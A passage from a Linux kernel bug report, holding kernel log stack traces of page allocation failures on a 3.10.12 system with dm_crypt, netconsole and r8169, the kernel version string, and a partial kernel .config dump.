18 20:50:58 [89111.224584] [] dump_stack+0x19/0x1b Sep 18 20:50:58 [89111.224587] [] warn_alloc_failed+0x110/0x124 Sep 18 20:50:58 [89111.224590] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:58 [89111.224593] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:50:58 [89111.224598] [] ? vsnprintf+0x37d/0x435 Sep 18 20:50:58 [89111.224602] [] alloc_slab_page+0x21/0x23 Sep 18 20:50:58 [89111.224605] [] new_slab+0x75/0x1ba Sep 18 20:50:58 [89111.224608] [] __slab_alloc.constprop.71+0x12e/0x3f5 Sep 18 20:50:58 [89111.224612] [] ? __alloc_skb+0x44/0x19e Sep 18 20:50:58 [89111.224615] [] ? __kmalloc_track_caller+0x3c/0xc8 Sep 18 20:50:58 [89111.224618] [] kmem_cache_alloc+0x3b/0x91 Sep 18 20:50:58 [89111.224621] [] __alloc_skb+0x44/0x19e Sep 18 20:50:58 [89111.224625] [] find_skb.isra.25+0x35/0x7e Sep 18 20:50:58 [89111.224628] [] netpoll_send_udp+0x5d/0x334 Sep 18 20:51:01 [89111.224633] [] write_msg+0xb7/0xec [netconsole] Sep 18 20:51:01 [89111.224639] [] call_console_drivers.constprop.23+0x75/0x80 Sep 18 20:51:01 [89111.224642] [] console_unlock+0x268/0x2fa Sep 18 20:51:01 [89111.224645] [] vprintk_emit+0x347/0x372 Sep 18 20:51:01 [89111.224648] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:51:01 [89111.224651] [] printk+0x48/0x4a Sep 18 20:51:01 [89111.224653] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:51:01 [89111.224656] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:51:01 [89111.224659] [] printk_address+0x2c/0x2e Sep 18 20:51:01 [89111.224662] [] print_trace_address+0x1f/0x24 Sep 18 20:51:05 [89117.669846] warn_alloc_failed: 13808 callbacks suppressed Sep 18 20:51:05 [89117.670033] kworker/3:1: page allocation failure: order:0, mode:0x20 Sep 18 20:51:05 [89117.670033] CPU: 3 PID: 1917 Comm: kworker/3:1 Not tainted 3.10.12 #1 Sep 18 20:51:05 [89117.670033] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:51:05 [89117.670033] Workqueue: kcryptd kcryptd_crypt [dm_crypt] Sep 18 20:51:05 [89117.670033] 0000000000000020 ffff88010bd83bd8 ffffffff812665b6 ffff88010bd83c68 Sep 18 20:51:05 [89117.670033] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:51:05 [89117.670033] ffffffff810507e7 0000000000000030 ffff8801060046b8 ffff88010bd83e84 Sep 18 20:51:05 [89117.670033] Call Trace: Sep 18 20:51:05 [89117.670033] [] dump_stack+0x19/0x1b Sep 18 20:51:05 [89117.670033] [] warn_alloc_failed+0x110/0x124 Sep 18 20:51:05 [89117.670033] [] ? update_sd_lb_stats+0x23f/0x481 Sep 18 20:51:05 [89117.670033] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:51:05 [89117.670033] [] ? update_sd_lb_stats+0x458/0x481 Sep 18 20:51:05 [89117.670033] [] __netdev_alloc_frag+0x5b/0xff Sep 18 20:51:05 [89117.670033] [] __netdev_alloc_skb+0x39/0x9a Sep 18 20:51:05 [89117.670033] [] rtl8169_poll+0x21b/0x4cd [r8169] Sep 18 20:51:05 [89117.670033] kworker/3:1: page allocation failure: order:0, mode:0x200020 Sep 18 20:51:05 [89117.670033] CPU: 3 PID: 1917 Comm: kworker/3:1 Not tainted 3.10.12 #1 Sep 18 20:51:05 [89117.670033] Hardware name: Gigabyte Technology Co., Ltd. P35-DS4/P35-DS4, BIOS F14 06/19/2009 Sep 18 20:51:05 [89117.670033] Workqueue: kcryptd kcryptd_crypt [dm_crypt] Sep 18 20:51:05 [89117.670033] 0000000000200020 ffff88010bd83488 ffffffff812665b6 ffff88010bd83518 Sep 18 20:51:05 [89117.670033] ffffffff81085fbb ffffffff813b5e78 0000000000000010 ffff880100000002 Sep 18 20:51:05 [89117.670033] ffffffff8108817a ffffffff00000030 ffffffff00000000 ffffffff813b5e68 Sep 18 20:51:05 [89117.670033] Call Trace: Sep 18 20:51:05 [89117.670033] [] dump_stack+0x19/0x1b Sep 18 20:51:05 [89117.670033] [] warn_alloc_failed+0x110/0x124 Sep 18 20:51:05 [89117.670033] [] ? __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:51:05 [89117.670033] [] __alloc_pages_nodemask+0x2d6/0x5d9 Sep 18 20:51:05 [89117.670033] [] ? string.isra.3+0x3d/0xa2 Sep 18 20:51:05 [89117.670033] [] ? pointer.isra.11+0x1b2/0x235 Sep 18 20:51:05 [89117.670033] [] alloc_slab_page+0x21/0x23 Sep 18 20:51:05 [89117.670033] [] new_slab+0x75/0x1ba Sep 18 20:51:05 [89117.670033] [] __slab_alloc.constprop.71+0x12e/0x3f5 Sep 18 20:51:05 [89117.670033] [] ? __alloc_skb+0x44/0x19e Sep 18 20:51:05 [89117.670033] [] kmem_cache_alloc+0x3b/0x91 Sep 18 20:51:05 [89117.670033] [] __alloc_skb+0x44/0x19e Sep 18 20:51:05 [89117.670033] [] find_skb.isra.25+0x35/0x7e Sep 18 20:51:05 [89117.670033] [] netpoll_send_udp+0x5d/0x334 Sep 18 20:51:05 [89117.670033] [] write_msg+0xb7/0xec [netconsole] Sep 18 20:51:05 [89117.670033] [] call_console_drivers.constprop.23+0x75/0x80 Sep 18 20:51:05 [89117.670033] [] console_unlock+0x268/0x2fa Sep 18 20:51:05 [89117.670033] [] vprintk_emit+0x347/0x372 Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] Sep 18 20:51:05 [89117.670033] [] printk+0x48/0x4a Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] Sep 18 20:51:05 [89117.670033] [] ? rtl8169_poll+0x21b/0x4cd [r8169] 21:06 No route to host ~21:30 discovered it was dead REPORTING-BUGS 4.1: Kernel version (from /proc/version): Linux version 3.10.12 (root@server) (gcc version 4.7.3 (Gentoo 4.7.3 p1.0, pie-0.5.5) ) #1 SMP Mon Sep 16 12:57:50 CEST 2013 REPORTING-BUGS 4.2: Kernel .config file: # # Automatically generated file; DO NOT EDIT. # Linux/x86 3.10.12 Kernel Configuration # CONFIG_64BIT=y CONFIG_X86_64=y CONFIG_X86=y CONFIG_INSTRUCTION_DECODER=y CONFIG_OUTPUT_FORMAT="elf64-x86-64" CONFIG_ARCH_DEFCONFIG="arch/x86/configs/x86_64_defconfig" CONFIG_LOCKDEP_SUPPORT=y CONFIG_STACKTRACE_SUPPORT=y CONFIG_HAVE_LATENCYTOP_SUPPORT=y CONFIG_MMU=y CONFIG_NEED_DMA_MAP_STATE=y CONFIG_NEED_SG_DMA_LENGTH=y CONFIG_GENERIC_ISA_DMA=y CONFIG_GENERIC_BUG=y CONFIG_GENERIC_BUG_RELATIVE_POINTERS=y CONFIG_GENERIC_HWEIGHT=y CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y CONFIG_ARCH_HAS_CACHE_LINE_SIZE=y CONFIG_ARCH_HAS_CPU_AUTOPROBE=y CONFIG_HAVE_SETUP_PER_CPU_AREA=y CONFIG_NEED_PER_CPU_EMBED_FIRST_CHUNK=y CONFIG_NEED_PER_CPU_PAGE_FIRST_CHUNK=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y CONFIG_ARCH_SUSPEND_POSSIBLE=y CONFIG_ZONE_DMA32=y CONFIG_AUDIT_ARCH=y CONFIG_ARCH_SUPPORTS_OPTIMIZED_INLINING=y CONFIG_ARCH_SUPPORTS_DEBUG_PAGEALLOC=y CONFIG_X86_64_SMP=y CONFIG_X86_HT=y CONFIG_ARCH_HWEIGHT_CFLAGS="-fcall-saved-rdi -fcall-saved-rsi -fcall-saved-rdx -fcall-saved-rcx -fcall-saved-r8 -fcall-saved-r9 -fcall-saved-r10 -fcall-saved-r11" CONFIG_ARCH_CPU_PROBE_RELEASE=y CONFIG_ARCH_SUPPORTS_UPROBES=y CONFIG_DEFCONFIG_LIST="/lib/modules/$UNAME_RELEASE/.config" CONFIG_IRQ_WORK=y CONFIG_BUILDTIME_EXTABLE_SORT=y # # General setup # CONFIG_INIT_ENV_ARG_LIMIT=32 CONFIG_CROSS_COMPILE="" CONFIG_LOCALVERSION="" CONFIG_LOCALVERSION_AUTO=y CONFIG_HAVE_KERNEL_GZIP=y CONFIG_HAVE_KERNEL_BZIP2=y CONFIG_HAVE_KERNEL_LZMA=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_HAVE_KERNEL_LZO=y # CONFIG_KERNEL_GZIP is not set # CONFIG_KERNEL_BZIP2 is not set # CONFIG_KERNEL_LZMA is not set CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_LZO is not set CONFIG_DEFAULT_HOSTNAME="(none)" CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_SYSVIPC_SYSCTL=y CONFIG_POSIX_MQUEUE=y CONFIG_POSIX_MQUEUE_SYSCTL=y CONFIG_FHANDLE=y CONFIG_AUDIT=y # CONFIG_AUDITSYSCALL is not set # CONFIG_AUDIT_LOGINUID_IMMUTABLE is not set CONFIG_HAVE_GENERIC_HARDIRQS=y # # IRQ subsystem # CONFIG_GENERIC_HARDIRQS=y CONFIG_GENERIC_IRQ_PROBE=y CONFIG_GENERIC_IRQ_SHOW=y CONFIG_GENERIC_PENDING_IRQ=y CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_FORCED_THREADING=y CONFIG_SPARSE_IRQ=y CONFIG_CLOCKSOURCE_WATCHDOG=y CONFIG_ARCH_CLOCKSOURCE_DATA=y CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_GENERIC_CLOCKEVENTS_BUILD=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y # # Timers subsystem # CONFIG_TICK_ONESHOT=y CONFIG_NO_HZ_COMMON=y # CONFIG_HZ_PERIODIC is not set CONFIG_NO_HZ_IDLE=y # CONFIG_NO_HZ_FULL is not set CONFIG_NO_HZ=y CONFIG_HIGH_RES_TIMERS=y # # CPU/Task time and stats accounting # CONFIG_TICK_CPU_ACCOUNTING=y # CONFIG_VIRT_CPU_ACCOUNTING_GEN is not set # CONFIG_IRQ_TIME_ACCOUNTING is not set # CONFIG_BSD_PROCESS_ACCT is not set CONFIG_TASKSTATS=y CONFIG_TASK_DELAY_ACCT=y CONFIG_TASK_XACCT=y CONFIG_TASK_IO_ACCOUNTING=y # # RCU Subsystem # CONFIG_TREE_RCU=y # CONFIG_PREEMPT_RCU is not set CONFIG_RCU_STALL_COMMON=y # CONFIG_RCU_USER_QS is not set CONFIG_RCU_FANOUT=64 CONFIG_RCU_FANOUT_LEAF=16 # CONFIG_RCU_FANOUT_EXACT is not set # CONFIG_RCU_FAST_NO_HZ is not set # CONFIG_TREE_RCU_TRACE is not set # CONFIG_RCU_NOCB_CPU is not set CONFIG_IKCONFIG=y CONFIG_IKCONFIG_PROC=y CONFIG_LOG_BUF_SHIFT=18 CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANTS_PROT_NUMA_PROT_NONE=y CONFIG_CGROUPS=y # CONFIG_CGROUP_DEBUG is not set # CONFIG_CGROUP_FREEZER is not set # CONFIG_CGROUP_DEVICE is not set # CONFIG_CPUSETS is not set # CONFIG_CGROUP_CPUACCT is not set # CONFIG_RESOURCE_COUNTERS is not set # CONFIG_CGROUP_PERF is not set # CONFIG_CGROUP_SCHED is not set CONFIG_BLK_CGROUP=y # CONFIG_DEBUG_BLK_CGROUP is not set # CONFIG_CHECKPOINT_RESTORE is not set CONFIG_NAMESPACES=y CONFIG_UTS_NS=y CONFIG_IPC_NS=y CONFIG_PID_NS=y CONFIG_NET_NS=y # CONFIG_SCHED_AUTOGROUP is not set # CONFIG_SYSFS_DEPRECATED is not set # CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="" CONFIG_RD_GZIP=y CONFIG_RD_BZIP2=y CONFIG_RD_LZMA=y CONFIG_RD_XZ=y CONFIG_RD_LZO=y CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_SYSCTL=y CONFIG_ANON_INODES=y CONFIG_HAVE_UID16=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HOTPLUG=y CONFIG_HAVE_PCSPKR_PLATFORM=y # CONFIG_EXPERT is not set CONFIG_UID16=y # CONFIG_SYSCTL_SYSCALL is not set CONFIG_KALLSYMS=y CONFIG_PRINTK=y CONFIG_BUG=y CONFIG_ELF_CORE=y CONFIG_PCSPKR_PLATFORM=y CONFIG_BASE_FULL=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_SIGNALFD=y CONFIG_TIMERFD=y CONFIG_EVENTFD=y CONFIG_SHMEM=y CONFIG_AIO=y CONFIG_PCI_QUIRKS=y # CONFIG_EMBEDDED is not set CONFIG_HAVE_PERF_EVENTS=y # # Kernel Performance Events And Counters # CONFIG_PERF_EVENTS=y CONFIG_VM_EVENT_COUNTERS=y CONFIG_SLUB_DEBUG=y # CONFIG_COMPAT_BRK is not set # CONFIG_SLAB is not set CONFIG_SLUB=y # CONFIG_PROFILING is not set CONFIG_HAVE_OPROFILE=y CONFIG_OPROFILE_NMI_TIMER=y # CONFIG_KPROBES is not set CONFIG_JUMP_LABEL=y # CONFIG_HAVE_64BIT_ALIGNED_ACCESS is not set CONFIG_HAVE_EFFICIENT_UNALIGNED_ACCESS=y CONFIG_ARCH_USE_BUILTIN_BSWAP=y CONFIG_USER_RETURN_NOTIFIER=y CONFIG_HAVE_IOREMAP_PROT=y CONFIG_HAVE_KPROBES=y CONFIG_HAVE_KRETPROBES=y CONFIG_HAVE_OPTPROBES=y CONFIG_HAVE_KPROBES_ON_FTRACE=y CONFIG_HAVE_ARCH_TRACEHOOK=y CONFIG_HAVE_DMA_ATTRS=y CONFIG_USE_GENERIC_SMP_HELPERS=y CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_HAVE_REGS_AND_STACK_ACCESS_API=y CONFIG_HAVE_DMA_API_DEBUG=y CONFIG_HAVE_HW_BREAKPOINT=y CONFIG_HAVE_MIXED_BREAKPOINTS_REGS=y CONFIG_HAVE_USER_RETURN_NOTIFIER=y CONFIG_HAVE_PERF_EVENTS_NMI=y CONFIG_HAVE_PERF_REGS=y CONFIG_HAVE_PERF_USER_STACK_DUMP=y CONFIG_HAVE_ARCH_JUMP_LABEL=y CONFIG_ARCH_HAVE_NMI_SAFE_CMPXCHG=y CONFIG_HAVE_ALIGNED_STRUCT_PAGE=y CONFIG_HAVE_CMPXCHG_LOCAL=y CONFIG_HAVE_CMPXCHG_DOUBLE=y CONFIG_ARCH_WANT_COMPAT_IPC_PARSE_VERSION=y CONFIG_ARCH_WANT_OLD_COMPAT_IPC=y CONFIG_HAVE_ARCH_SECCOMP_FILTER=y CONFIG_SECCOMP_FILTER=y CONFIG_HAVE_CONTEXT_TRACKING=y CONFIG_HAVE_IRQ_TIME_ACCOUNTING=y CONFIG_HAVE_ARCH_TRANSPARENT_HUGEPAGE=y CONFIG_MODULES_USE_ELF_RELA=y CONFIG_OLD_SIGSUSPEND3=y CONFIG_COMPAT_OLD_SIGACTION=y # # GCOV-based kernel profiling # # CONFIG_HAVE_GENERIC_DMA_COHERENT is not set CONFIG_SLABINFO=y CONFIG_RT_MUTEXES=y CONFIG_BASE_SMALL=0 CONFIG_MODULES=y CONFIG_MODULE_FORCE_LOAD=y CONFIG_MODULE_UNLOAD=y CONFIG_MODULE_FORCE_UNLOAD=y # CONFIG_MODVERSIONS is not set # CONFIG_MODULE_SRCVERSION_ALL is not set # CONFIG_MODULE_SIG is not set CONFIG_STOP_MACHINE=y CONFIG_BLOCK=y CONFIG_BLK_DEV_BSG=y # CONFIG_BLK_DEV_BSGLIB is not set # CONFIG_BLK_DEV_INTEGRITY is not set CONFIG_BLK_DEV_THROTTLING=y # # Partition Types # CONFIG_PARTITION_ADVANCED=y # CONFIG_ACORN_PARTITION is not set # CONFIG_OSF_PARTITION is not set # CONFIG_AMIGA_PARTITION is not set # CONFIG_ATARI_PARTITION is not set # CONFIG_MAC_PARTITION is not set CONFIG_MSDOS_PARTITION=y # CONFIG_BSD_DISKLABEL is not set # CONFIG_MINIX_SUBPARTITION is not set # CONFIG_SOLARIS_X86_PARTITION is not set # CONFIG_UNIXWARE_DISKLABEL is not set # CONFIG_LDM_PARTITION is not set # CONFIG_SGI_PARTITION is not set # CONFIG_ULTRIX_PARTITION is not set # CONFIG_SUN_PARTITION is not set # CONFIG_KARMA_PARTITION is not set CONFIG_EFI_PARTITION=y # CONFIG_SYSV68_PARTITION is not set CONFIG_BLOCK_COMPAT=y # # IO Schedulers # CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_DEADLINE=y CONFIG_IOSCHED_CFQ=y CONFIG_CFQ_GROUP_IOSCHED=y CONFIG_DEFAULT_DEADLINE=y # CONFIG_DEFAULT_CFQ is not set # CONFIG_DEFAULT_NOOP is not set CONFIG_DEFAULT_IOSCHED="deadline" CONFIG_PREEMPT_NOTIFIERS=y CONFIG_PADATA=y CONFIG_INLINE_SPIN_UNLOCK_IRQ=y CONFIG_INLINE_READ_UNLOCK=y CONFIG_INLINE_READ_UNLOCK_IRQ=y CONFIG_INLINE_WRITE_UNLOCK=y CONFIG_INLINE_WRITE_UNLOCK_IRQ=y CONFIG_MUTEX_SPIN_ON_OWNER=y # CONFIG_FREEZER is not set # # Processor type and features # CONFIG_ZONE_DMA=y CONFIG_SMP=y # CONFIG_X86_MPPARSE is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set CONFIG_X86_SUPPORTS_MEMORY_FAILURE=y CONFIG_SCHED_OMIT_FRAME_POINTER=y # CONFIG_HYPERVISOR_GUEST is not set CONFIG_NO_BOOTMEM=y # CONFIG_MEMTEST is not set # CONFIG_MK8 is not set # CONFIG_MPSC is not set CONFIG_MCORE2=y # CONFIG_MATOM is not set # CONFIG_GENERIC_CPU is not set CONFIG_X86_INTERNODE_CACHE_SHIFT=6 CONFIG_X86_L1_CACHE_SHIFT=6 CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_P6_NOP=y CONFIG_X86_TSC=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y CONFIG_X86_MINIMUM_CPU_FAMILY=64 CONFIG_X86_DEBUGCTLMSR=y CONFIG_CPU_SUP_INTEL=y CONFIG_CPU_SUP_AMD=y CONFIG_CPU_SUP_CENTAUR=y CONFIG_HPET_TIMER=y CONFIG_DMI=y CONFIG_GART_IOMMU=y # CONFIG_CALGARY_IOMMU is not set CONFIG_SWIOTLB=y CONFIG_IOMMU_HELPER=y CONFIG_NR_CPUS=8 CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_PREEMPT_NONE=y # CONFIG_PREEMPT_VOLUNTARY is not set # CONFIG_PREEMPT is not set CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y # CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y CONFIG_X86_MCE_INTEL=y # CONFIG_X86_MCE_AMD is not set CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_MCE_INJECT is not set CONFIG_X86_THERMAL_VECTOR=y # CONFIG_I8K is not set # CONFIG_MICROCODE is not set CONFIG_X86_MSR=y CONFIG_X86_CPUID=y CONFIG_ARCH_PHYS_ADDR_T_64BIT=y CONFIG_ARCH_DMA_ADDR_T_64BIT=y CONFIG_DIRECT_GBPAGES=y # CONFIG_NUMA is not set CONFIG_ARCH_SPARSEMEM_ENABLE=y CONFIG_ARCH_SPARSEMEM_DEFAULT=y CONFIG_ARCH_SELECT_MEMORY_MODEL=y CONFIG_ARCH_PROC_KCORE_TEXT=y CONFIG_ILLEGAL_POINTER_VALUE=0xdead000000000000 CONFIG_SELECT_MEMORY_MODEL=y CONFIG_SPARSEMEM_MANUAL=y CONFIG_SPARSEMEM=y CONFIG_HAVE_MEMORY_PRESENT=y CONFIG_SPARSEMEM_EXTREME=y CONFIG_SPARSEMEM_VMEMMAP_ENABLE=y CONFIG_SPARSEMEM_ALLOC_MEM_MAP_TOGETHER=y CONFIG_SPARSEMEM_VMEMMAP=y CONFIG_HAVE_MEMBLOCK=y CONFIG_HAVE_MEMBLOCK_NODE_MAP=y CONFIG_ARCH_DISCARD_MEMBLOCK=y # CONFIG_HAVE_BOOTMEM_INFO_NODE is not set # CONFIG_MEMORY_HOTPLUG is not set CONFIG_PAGEFLAGS_EXTENDED=y CONFIG_SPLIT_PTLOCK_CPUS=4 CONFIG_COMPACTION=y CONFIG_MIGRATION=y CONFIG_PHYS_ADDR_T_64BIT=y CONFIG_ZONE_DMA_FLAG=1 CONFIG_BOUNCE=y CONFIG_VIRT_TO_BUS=y CONFIG_MMU_NOTIFIER=y # CONFIG_KSM is not set CONFIG_DEFAULT_MMAP_MIN_ADDR=65536 CONFIG_ARCH_SUPPORTS_MEMORY_FAILURE=y # CONFIG_MEMORY_FAILURE is not set # CONFIG_TRANSPARENT_HUGEPAGE is not set CONFIG_CROSS_MEMORY_ATTACH=y CONFIG_CLEANCACHE=y CONFIG_FRONTSWAP=y # CONFIG_X86_CHECK_BIOS_CORRUPTION is not set CONFIG_X86_RESERVE_LOW=64 CONFIG_MTRR=y CONFIG_MTRR_SANITIZER=y CONFIG_MTRR_SANITIZER_ENABLE_DEFAULT=0 CONFIG_MTRR_SANITIZER_SPARE_REG_NR_DEFAULT=1 CONFIG_X86_PAT=y CONFIG_ARCH_USES_PG_UNCACHED=y CONFIG_ARCH_RANDOM=y CONFIG_X86_SMAP=y # CONFIG_EFI is not set CONFIG_SECCOMP=y CONFIG_CC_STACKPROTECTOR=y CONFIG_HZ_100=y # CONFIG_HZ_250 is not set # CONFIG_HZ_300 is not set # CONFIG_HZ_1000 is not set CONFIG_HZ=100 CONFIG_SCHED_HRTICK=y CONFIG_KEXEC=y # CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 CONFIG_RELOCATABLE=y CONFIG_PHYSICAL_ALIGN=0x1000000 CONFIG_HOTPLUG_CPU=y # CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set # CONFIG_DEBUG_HOTPLUG_CPU0 is not set # CONFIG_COMPAT_VDSO is not set # CONFIG_CMDLINE_BOOL is not set CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y # # Power management and ACPI options # # CONFIG_SUSPEND is not set # CONFIG_HIBERNATION is not set # CONFIG_PM_RUNTIME is not set CONFIG_ACPI=y # CONFIG_ACPI_PROCFS is not set # CONFIG_ACPI_PROCFS_POWER is not set # CONFIG_ACPI_EC_DEBUGFS is not set # CONFIG_ACPI_PROC_EVENT is not set # CONFIG_ACPI_AC is not set # CONFIG_ACPI_BATTERY is not set CONFIG_ACPI_BUTTON=m CONFIG_ACPI_FAN=m CONFIG_ACPI_DOCK=y CONFIG_ACPI_I2C=m CONFIG_ACPI_PROCESSOR=m CONFIG_ACPI_HOTPLUG_CPU=y # CONFIG_ACPI_PROCESSOR_AGGREGATOR is not set CONFIG_ACPI_THERMAL=m # CONFIG_ACPI_CUSTOM_DSDT is not set # CONFIG_ACPI_INITRD_TABLE_OVERRIDE is not set CONFIG_ACPI_BLACKLIST_YEAR=0 # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_PCI_SLOT=y CONFIG_X86_PM_TIMER=y CONFIG_ACPI_CONTAINER=y # CONFIG_ACPI_SBS is not set # CONFIG_ACPI_HED is not set # CONFIG_ACPI_APEI is not set # CONFIG_SFI is not set # # CPU Frequency scaling # CONFIG_CPU_FREQ=y CONFIG_CPU_FREQ_TABLE=y CONFIG_CPU_FREQ_GOV_COMMON=y CONFIG_CPU_FREQ_STAT=y # CONFIG_CPU_FREQ_STAT_DETAILS is not set CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE=y # CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set # CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set CONFIG_CPU_FREQ_GOV_PERFORMANCE=y CONFIG_CPU_FREQ_GOV_POWERSAVE=m CONFIG_CPU_FREQ_GOV_USERSPACE=m CONFIG_CPU_FREQ_GOV_ONDEMAND=m CONFIG_CPU_FREQ_GOV_CONSERVATIVE=m # # x86 CPU frequency scaling drivers # CONFIG_X86_INTEL_PSTATE=y # CONFIG_X86_PCC_CPUFREQ is not set CONFIG_X86_ACPI_CPUFREQ=m # CONFIG_X86_ACPI_CPUFREQ_CPB is not set # CONFIG_X86_POWERNOW_K8 is not set # CONFIG_X86_AMD_FREQ_SENSITIVITY is not set # CONFIG_X86_SPEEDSTEP_CENTRINO is not set # CONFIG_X86_P4_CLOCKMOD is not set # # shared options # # CONFIG_X86_SPEEDSTEP_LIB is not set CONFIG_CPU_IDLE=y # CONFIG_CPU_IDLE_MULTIPLE_DRIVERS is not set CONFIG_CPU_IDLE_GOV_LADDER=y CONFIG_CPU_IDLE_GOV_MENU=y # CONFIG_ARCH_NEEDS_CPU_IDLE_COUPLED is not set CONFIG_INTEL_IDLE=y # # Memory power savings # # CONFIG_I7300_IDLE is not set # # Bus options (PCI etc.) # CONFIG_PCI=y CONFIG_PCI_DIRECT=y CONFIG_PCI_MMCONFIG=y CONFIG_PCI_DOMAINS=y CONFIG_PCIEPORTBUS=y CONFIG_PCIEAER=y # CONFIG_PCIE_ECRC is not set # CONFIG_PCIEAER_INJECT is not set CONFIG_PCIEASPM=y # CONFIG_PCIEASPM_DEBUG is not set CONFIG_PCIEASPM_DEFAULT=y # CONFIG_PCIEASPM_POWERSAVE is not set # CONFIG_PCIEASPM_PERFORMANCE is not set CONFIG_ARCH_SUPPORTS_MSI=y CONFIG_PCI_MSI=y # CONFIG_PCI_REALLOC_ENABLE_AUTO is not set # CONFIG_PCI_STUB is not set CONFIG_HT_IRQ=y # CONFIG_PCI_IOV is not set # CONFIG_PCI_PRI is not set # CONFIG_PCI_PASID is not set # CONFIG_PCI_IOAPIC is not set CONFIG_PCI_LABEL=y CONFIG_ISA_DMA_API=y CONFIG_AMD_NB=y # CONFIG_PCCARD is not set # CONFIG_HOTPLUG_PCI is not set # CONFIG_RAPIDIO is not set # # Executable file formats / Emulations # CONFIG_BINFMT_ELF=y CONFIG_COMPAT_BINFMT_ELF=y CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE=y # CONFIG_CORE_DUMP_DEFAULT_ELF_HEADERS is not set CONFIG_BINFMT_SCRIPT=y # CONFIG_HAVE_AOUT is not set # CONFIG_BINFMT_MISC is not set CONFIG_COREDUMP=y CONFIG_IA32_EMULATION=y # CONFIG_IA32_AOUT is not set # CONFIG_X86_X32 is not set CONFIG_COMPAT=y CONFIG_COMPAT_FOR_U64_ALIGNMENT=y CONFIG_SYSVIPC_COMPAT=y CONFIG_KEYS_COMPAT=y CONFIG_HAVE_TEXT_POKE_SMP=y CONFIG_X86_DEV_DMA_OPS=y CONFIG_NET=y # # Networking options # CONFIG_PACKET=y CONFIG_PACKET_DIAG=y CONFIG_UNIX=y CONFIG_UNIX_DIAG=y # CONFIG_XFRM_USER is not set # CONFIG_NET_KEY is not set CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y # CONFIG_IP_FIB_TRIE_STATS is not set CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_VERBOSE=y CONFIG_IP_ROUTE_CLASSID=y # CONFIG_IP_PNP is not set CONFIG_NET_IPIP=m # CONFIG_NET_IPGRE_DEMUX is not set CONFIG_NET_IP_TUNNEL=m CONFIG_IP_MROUTE=y CONFIG_IP_MROUTE_MULTIPLE_TABLES=y CONFIG_IP_PIMSM_V1=y CONFIG_IP_PIMSM_V2=y # CONFIG_ARPD is not set CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set # CONFIG_INET_XFRM_TUNNEL is not set CONFIG_INET_TUNNEL=m # CONFIG_INET_XFRM_MODE_TRANSPORT is not set # CONFIG_INET_XFRM_MODE_TUNNEL is not set # CONFIG_INET_XFRM_MODE_BEET is not set CONFIG_INET_LRO=y CONFIG_INET_DIAG=y CONFIG_INET_TCP_DIAG=y CONFIG_INET_UDP_DIAG=m # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y CONFIG_DEFAULT_TCP_CONG="cubic" # CONFIG_TCP_MD5SIG is not set CONFIG_IPV6=m CONFIG_IPV6_PRIVACY=y # CONFIG_IPV6_ROUTER_PREF is not set # CONFIG_IPV6_OPTIMISTIC_DAD is not set # CONFIG_INET6_AH is not set # CONFIG_INET6_ESP is not set # CONFIG_INET6_IPCOMP is not set # CONFIG_IPV6_MIP6 is not set # CONFIG_INET6_XFRM_TUNNEL is not set 